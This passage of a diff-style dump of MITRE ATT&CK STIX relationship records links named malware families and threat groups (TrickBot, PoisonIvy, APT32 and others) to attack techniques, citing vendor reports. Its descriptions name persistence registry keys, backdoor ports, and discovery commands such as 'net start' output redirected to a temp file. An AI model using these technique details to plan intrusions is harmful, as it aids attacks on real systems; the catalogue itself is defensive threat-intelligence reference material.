"source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T02:13:33.990Z", + "id": "relationship--d61f5cc3-e075-4a5b-ac7c-e77feac1d310", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.911Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information from the victim about its IP addresses and MAC addresses.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3caec960-fa9c-4b2f-80e4-6dd4471e26ba", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.544Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) can delete files indicated by the attacker and remove itself from disk using a batch file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3cf1b188-99ad-48a5-bce8-962eef956ec8", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "modified": "2019-04-22T22:40:41.288Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can install encrypted configuration data under the Registry key HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellCompatibility\\Applications\\laxhost.dll and HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PrintConfigs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ceb66bd9-3e75-4559-a0b9-3339a926cde6", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Find-AVSignature AntivirusBypass module can be used to locate single byte anti-virus signatures.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--26eca19b-1c55-49b5-8a07-a4131c577874", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.194Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "[Remsec](https://attack.mitre.org/software/S0125) has a plugin to drop and execute vulnerable Outpost Sandbox or avast! Virtualization drivers in order to gain kernel mode privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--131fde9c-7a83-4603-9c1e-c41f815fb14c", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[S-Type](https://attack.mitre.org/software/S0085) runs the command net user on a victim. [S-Type](https://attack.mitre.org/software/S0085) also runs tests to determine the privilege level of the compromised user.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fb0aef48-57f5-4331-acdd-25fdfdf1babb", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) encrypts communications using AES256 and RSA-2048.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:53:14.840Z", + "id": "relationship--b644de55-05f0-4e2e-93ee-db7915097ed1", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "modified": "2019-04-17T22:22:21.999Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) collects email addresses from Outlook.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:11:44.227Z", + "id": "relationship--9b5e38b3-31b5-4734-bef2-c05904479430", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.698Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can call WTSQueryUserToken and CreateProcessAsUser to start a new process with local system privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:19:14.928Z", + "id": "relationship--00d3d6a8-c711-4bb5-bf0a-e17c0ecac8c8", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "modified": "2019-07-26T23:22:28.481Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[APT1](https://attack.mitre.org/groups/G0006) used a batch script to perform a series of discovery techniques and saves it to a text file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:33:07.517Z", + "id": "relationship--4c2924c1-dec5-4390-87d7-c52e24a92512", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.353Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) has used Port Number 443 for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:47:41.383Z", + "id": "relationship--894666a8-f37a-4c72-a61e-c130bc6ac197", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "modified": "2019-01-30T15:47:41.383Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "source_name": "TrendMicro Lazarus Nov 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) checks its current working directory upon execution and also contains watchdog functionality that ensures its executable is located in the correct path (else it will rewrite the payload).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.488Z", + "id": "relationship--3572a770-9151-42d5-82b5-360002725052", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.757Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can upload additional files to the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:33:40.964Z", + "id": "relationship--82d8c106-c216-4d3f-9028-5f0b975e6330", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.768Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + }, + { + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "source_name": "ClearSky MuddyWater Nov 2018", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can communicate to its C2 over HTTP and HTTPS if directed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c33c2a0f-eb88-43ef-be7b-6311bef2da3d", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "source_name": "FireEye APT10 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "source_name": "Accenture Hogfish April 2018", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) can execute commands via an interactive command shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b8e50d79-c024-4dc1-aad2-d7181fbbf1bb", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) gains persistence by adding the Registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--baca2e38-a6fa-430e-a829-7afc5537e45f", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[Comnie](https://attack.mitre.org/software/S0244) runs the command: net start >> %TEMP%\\info.dat on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0c294d8b-2ee4-47ee-b9d8-8378d9d89ba1", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) has a command to collect victim system information, including the system name and OS version.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ed2e17b5-171b-4878-a3ab-2b70e8ca132a", + "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "source_name": "Palo Alto DNS Requests", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) opens a backdoor on TCP ports 6868 and 7777.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1a61aac0-69fc-4813-9d1f-2f3817bc4af4", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "source_name": "Symantec Darkmoon Aug 2005", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) stores configuration values under the Registry key HKCU\\Software\\Microsoft\\[dllname] and modifies Registry keys under HKCR\\CLSID\\...\\InprocServer32with a path to the launcher.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--67e6b603-a45d-4cbc-9b3e-546392934f7f", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[zwShell](https://attack.mitre.org/software/S0350) has been copied over network shares to move laterally.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:48:35.674Z", + "id": "relationship--1ec9706f-7faa-466d-afd0-97cc71714f7b", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "modified": "2019-01-30T17:48:35.674Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can create a persistence file in the folder /Library/LaunchAgents.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:18:20.130Z", + "id": "relationship--a59268e4-a575-456e-b4a2-f7ee92d196a8", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "modified": "2019-09-26T16:22:41.970Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "source_name": "TrendMicro MacOS April 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Denis](https://attack.mitre.org/software/S0354) uses ipconfig to gather the IP address from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T20:01:45.383Z", + "id": "relationship--4cc3f3af-73f1-4f36-9e28-de4f8ecc3247", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "modified": "2019-04-24T20:56:04.729Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "source_name": "Cybereason Cobalt Kitty 2017", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[KONNI](https://attack.mitre.org/software/S0356) can download files and execute them on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:36:41.003Z", + "id": "relationship--8720f2bc-c099-4d2c-a9b4-faf019bf55a4", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "modified": "2019-07-26T18:47:19.228Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "description": "[APT32](https://attack.mitre.org/groups/G0050) installed a backdoor macro in Microsoft Outlook for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.720Z", + "id": "relationship--e1f7179b-37ac-4f47-8368-0f55814a6447", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.422Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", + "description": "[Equation](https://attack.mitre.org/groups/G0020) has been observed utilizing environmental keying in payload delivery.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T02:11:53.932Z", + "id": "relationship--3d661b40-6ebf-470f-a675-142f86b6c649", + "source_ref": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9", + "modified": "2019-01-31T18:38:24.525Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Gauss Whitepaper", + "description": "Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf" + }, + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.", + "source_name": "Kaspersky Equation QA", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:37:00.018Z", + "id": "relationship--e50b6d7a-8c22-45f3-9d60-383064cc58d4", + "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb", + "modified": "2019-04-12T16:33:51.213Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 SilverTerrier 2018", + "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.", + "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) can download and execute an executable from the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": 